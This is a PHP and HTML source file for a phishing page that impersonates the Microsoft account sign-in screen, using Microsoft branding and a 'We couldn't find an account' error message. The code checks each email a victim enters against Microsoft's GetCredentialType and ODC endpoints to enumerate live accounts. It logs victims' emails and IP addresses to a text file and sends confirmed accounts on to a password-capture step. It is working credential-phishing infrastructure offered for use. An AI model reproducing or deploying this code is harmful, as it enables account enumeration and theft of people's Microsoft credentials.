<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

require_once __DIR__ . '/../../helper/DeviceHelper.php';

$ip = getUserIP();
$date = date("Y-m-d H:i:s");
$hasError = false;
$errorMessage = '';
$username = isset($_GET['back']) ? $_GET['back'] : '';

$user_agent = $_SERVER['HTTP_USER_AGENT'];
$os = "Unknown";
if (strpos($user_agent, 'Windows NT 10.0') !== false) {
    $os = "Windows 10";
} elseif (strpos($user_agent, 'Windows NT 6.3') !== false) {
    $os = "Windows 8.1";
} elseif (strpos($user_agent, 'Windows NT 6.2') !== false) {
    $os = "Windows 8";
} elseif (strpos($user_agent, 'Windows NT 6.1') !== false) {
    $os = "Windows 7";
} elseif (strpos($user_agent, 'Windows NT 6.0') !== false) {
    $os = "Windows Vista";
} elseif (strpos($user_agent, 'Windows NT 5.1') !== false) {
    $os = "Windows XP";
} elseif (strpos($user_agent, 'Mac OS X') !== false) {
    $os = "Mac OS X";
} elseif (strpos($user_agent, 'Linux') !== false) {
    $os = "Linux";
} elseif (strpos($user_agent, 'Android') !== false) {
    $os = "Android";
} elseif (strpos($user_agent, 'iPhone') !== false || strpos($user_agent, 'iPad') !== false) {
    $os = "iOS";
}

function tulis_file($file, $content) {
    $dir = dirname($file);
    if (!is_dir($dir)) {
        mkdir($dir, 0777, true);
    }
    file_put_contents($file, $content . "\n", FILE_APPEND);
}

function getFormActionUrl($page) {
    $deviceParam = getDeviceParam();
    $hash = bin2hex(random_bytes(20));
    return "?auth_max_open={$page}&{$deviceParam}={$hash}";
}

function checkWithGetCredentialType($email) {
    try {
        $url = 'https://login.live.com/GetCredentialType.srf';
        
        $postData = json_encode([
            'username' => $email,
            'isOtherIdpSupported' => true,
            'checkPhones' => false,
            'isRemoteNGCSupported' => true,
            'isCookieBannerShown' => false,
            'isFidoSupported' => false,
            'forceotclogin' => false,
            'isExternalFederationDisallowed' => false,
            'isRemoteConnectSupported' => false,
            'federationFlags' => 0,
            'hasMultipleActivePrimaryManagedAccounts' => false,
            'signupFlow' => false,
            'isRPSAuthEnv' => false,
            'isRPSAuthEnvPassing' => false,
            'isRPSAuthRequest' => false,
            'isRPSAuthRequestPassing' => false,
            'isRPSAuthResponse' => false,
            'isRPSAuthResponsePassing' => false,
            'isRPSAuthPoll' => false,
            'isRPSAuthPollPassing' => false,
            'isRPSAuthPollFinal' => false,
            'isRPSAuthPollFinalPassing' => false,
            'isRPSAuthPollFinalSucceeded' => false,
            'isRPSAuthPollFinalSucceededPassing' => false,
            'hasRemoteNGCMsi' => false
        ]);
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $postData,
            CURLOPT_HTTPHEADER => [
                'Content-Type: application/json',
                'Accept: application/json',
                'Origin: https://login.live.com',
                'Referer: https://login.live.com/',
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36'
            ],
            CURLOPT_TIMEOUT => 15,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => true
        ]);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            $json = json_decode($response, true);
            
            if (isset($json['IfExistsResult'])) {
                if ($json['IfExistsResult'] === 0) {
                    return ['status' => 'LIVE', 'reason' => 'Account exists'];
                } else if ($json['IfExistsResult'] === 1) {
                    return ['status' => 'DIE', 'reason' => "Account doesn't exist"];
                } else if (isset($json['ThrottleStatus'])) {
                    return ['status' => 'THROTTLED', 'reason' => 'Rate limited'];
                } else {
                    return ['status' => 'UNKNOWN', 'reason' => "IfExistsResult: " . $json['IfExistsResult']];
                }
            }
        }
        
        return ['status' => 'UNKNOWN', 'reason' => "HTTP {$httpCode}"];
        
    } catch (Exception $e) {
        return ['status' => 'ERROR', 'error' => $e->getMessage()];
    }
}

function checkWithODC($email) {
    try {
        $url = 'https://odc.officeapps.live.com/odc/emailhrd/getidp?hm=0&emailAddress=' . urlencode($email);
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => [
                'Accept: application/json',
                'Referer: https://outlook.live.com/',
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36'
            ],
            CURLOPT_TIMEOUT => 15,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => true
        ]);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            if (strpos($response, 'MSAccountNonEmail') !== false) {
                return ['status' => 'DIE', 'reason' => 'Non-Microsoft account'];
            } else if (strpos($response, 'MSAccount') !== false) {
                return ['status' => 'LIVE', 'reason' => 'Microsoft account'];
            } else if (strpos($response, 'Neither') !== false) {
                return ['status' => 'DIE', 'reason' => 'Invalid account type'];
            }
        }
        
        return ['status' => 'UNKNOWN', 'reason' => 'No pattern matched'];
        
    } catch (Exception $e) {
        return ['status' => 'ERROR', 'error' => $e->getMessage()];
    }
}

function checkMicrosoftAccount($email) {
    $result1 = checkWithGetCredentialType($email);
    
    if ($result1['status'] === 'LIVE') {
        return ['status' => 'LIVE', 'reason' => 'GetCredentialType'];
    }
    
    if ($result1['status'] === 'DIE') {
        return ['status' => 'DIE', 'reason' => 'GetCredentialType'];
    }
    
    if ($result1['status'] === 'UNKNOWN' || $result1['status'] === 'ERROR') {
        $result2 = checkWithODC($email);
        
        if ($result2['status'] === 'LIVE') {
            return ['status' => 'LIVE', 'reason' => 'ODC'];
        }
        
        if ($result2['status'] === 'DIE') {
            return ['status' => 'DIE', 'reason' => 'ODC'];
        }
        
        return ['status' => 'UNKNOWN', 'reason' => 'Both methods failed'];
    }
    
    return $result1;
}

if(isset($_POST['username']) && isset($_POST['checkemail'])){
    $emailcek = trim($_POST['username']);
    
    if(!empty($emailcek)) {
        tulis_file("../logs/total_click.txt", "".$cn."|".$emailcek."|".$ip."|Validasi Email Microsoft|".$date."");
        
        $result = checkMicrosoftAccount($emailcek);
        
        tulis_file("../logs/total_click.txt", "".$cn."|".$emailcek."|".$ip."|STATUS: ".$result['status']." - REASON: ".$result['reason']."|".$date."");
        
        if ($result['status'] === 'LIVE'){
            tulis_file("../logs/total_click.txt", "".$cn."|".$emailcek."|".$ip."|Email VALID - Redirect ke Password|".$date."");
            header("Location: " . getFormActionUrl('password') . "&email=" . urlencode($emailcek));
            exit;
        } else {
            tulis_file("../logs/total_click.txt", "".$cn."|".$emailcek."|".$ip."|Email INVALID - Tampilkan error|".$date."");
            $hasError = true;
            $username = $emailcek;
        }
    }
}

if(isset($_POST['status_email']) && $_POST['status_email'] == 'fail'){
    $hasError = true;
    $username = isset($_POST['email']) ? $_POST['email'] : '';
}
?>
<html dir="ltr" lang="EN-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>Sign in to your Microsoft account</title>
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <link rel="shortcut icon" href="https://logincdn.msauth.net/16.000.28230.00/images/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" crossorigin="anonymous" integrity="sha384-E5gbpbd7pvLncrSFicEeR0od7Yqv75BoM0zAKpkW6kM6RUIPj83KEbtUBQeB8pRU" onload="$Loader.OnSuccess(this)" onerror="$Loader.OnError(this)" href="../assets/ms/assets/css/hotmail.css">
    <style>
        .auth-error {
            color: #cc0033;
            font-family: "Segoe UI", Arial, sans-serif;
            font-size: 14px;
            text-align: left;
            line-height: 1.5;
            margin: 8px 0 12px 0;
            padding: 0;
            background: transparent;
            border: none;
        }
        .auth-error a {
            color: #0067b8;
            text-decoration: none;
        }
        .auth-error a:hover {
            text-decoration: underline;
        }
        .text-input.has-error {
            border-color: #e81123 !important;
        }
    </style>
</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div>
        <div>
            <div class="background" style="background-image: url('../assets/ms/assets/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg');">
            </div>
        </div>
        <div data-bind="if: activeDialog"></div>
        <form name="f1" id="i0281" validate="validate" spellcheck="false" method="post" target="_top" autocomplete="off" action="">
            <div class="outer" data-bind="">
                <div class="middle">
                    <div class="inner">
                        <div class="lightbox-cover"></div>

                        <div>
                            <img class="logo" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" alt="Microsoft">
                        </div>

                        <div role="main">
                            <div class="pagination-view has-identity-banner">
                                <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
                                    
                                    <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Sign in</div>
                                    
                                    <?php if($hasError): ?>
                                    <div class="auth-error" role="alert">
                                        <font dir="auto" style="vertical-align: inherit;">
                                            <font dir="auto" style="vertical-align: inherit;">We couldn't find an account with that username. Try a different username or </font>
                                            <a href="#">create a new Microsoft account .</a>
                                        </font>
                                    </div>
                                    <?php endif; ?>
                                    
                                    <div class="row">
                                        <div class="form-group col-md-24">
                                            <div role="alert" aria-live="assertive" aria-atomic="false">
                                            </div>
                                            <div class="placeholderContainer">
                                                <input name="username" required="required" type="email" id="i0118" autocomplete="off" class="form-control <?php echo $hasError ? 'has-error' : ''; ?>" aria-describedby="passwordError loginHeader passwordDesc" aria-required="true" placeholder="Email, phone, or Skype" aria-label="Enter your email address" autofocus value="<?php echo htmlspecialchars($username); ?>">
                                                <input type="hidden" name="checkemail" value="true">
                                                <input type='hidden' name='akseskey' value='aplogin'>
                                            </div>
                                            <p style="font-size: .8125rem; margin-top: 8px;">No account? <a style="color: #0067b8; cursor: pointer;">Create one!</a></p>
                                        </div>
                                    </div>
                                    
                                    <div data-bind="invertOrder: svr.B4, css: { 'position-buttons': !tenantBranding.BoilerPlateText }" class="position-buttons">
                                        <div>
                                            <div class="row">
                                                <div class="col-md-24">
                                                    <div class="text-13 action-links">
                                                        <div class="form-group"> 
                                                            <a id="idA_PWD_ForgotPassword" role="link" data-bind="text: str['CT_PWD_STR_ForgotPwdLink_Text'], href: svr.n, click: resetPassword_onClick" style="color: #0067b8;">
                                                                Sign in with a security key 
                                                                <span class="help-button" role="button" tabindex="0" data-bind="click: fidoHelp_onClick, pressEnter: fidoHelp_onClick, hasFocus: hasFocus, ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">
                                                                    <img role="presentation" data-bind="imgSrc" src="../assets/ms/assets/img/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg">
                                                                </span>
                                                            </a> 
                                                        </div>
                                                        <div class="form-group"></div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row" data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText }">
                                            <div>
                                                <div class="col-xs-24 no-padding-left-right form-group no-margin-bottom button-container">
                                                    <div class="inline-block">
                                                        <input type="submit" id="idSIButton9" class="btn btn-block btn-primary" value="Next">
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    
                    <?php 
                    $show_signin_options = ($os == "Windows 10" || $os == "Windows 7");
                    if($show_signin_options): 
                    ?>
                    <center>
                        <div class="promoted-fed-cred-box" style="max-width: 440px;min-width: 320px;line-height: 16px;position: relative;margin-right: auto;margin-left: auto;">
                            <div class="promoted-fed-cred-content" style="display: block;">
                                <div class="row tile" style="padding-left: 12px;line-height: 16px;padding-right: 12px;cursor: pointer;box-sizing: border-box;">
                                    <div class="table" role="button" tabindex="0" aria-label="Sign-in options" style="padding-top: 8px;padding-bottom: 8px;">
                                        <div class="table-row">
                                            <div class="table-cell tile-img medium">
                                                <img class="tile-img medium" role="presentation" data-bind="attr: { src: $data.darkIconUrl }" src="https://aadcdn.msftauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg">
                                            </div>
                                            <div class="table-cell text-left content">
                                                <div style="font-size: .9375rem;font-weight: 400;">Sign-in options</div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </center>
                    <?php endif; ?>
                </div>
            </div>
            
            <div id="footer" class="footer default" role="contentinfo" data-bind="css: { 'default': !backgroundLogoUrl() }" style="background: transparent;">
                <div>
                    <div id="footerLinks" class="footerNode text-secondary">
                        <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" style="color: #666;">Terms of use</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;">Privacy &amp; cookies</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;font-size: 16px;">. . .</a>
                    </div>
                </div>
            </div>
        </div>
    </div>
    </form>
    </div>
    
    <div>
        <!--  -->
    </div>
</body>
</html>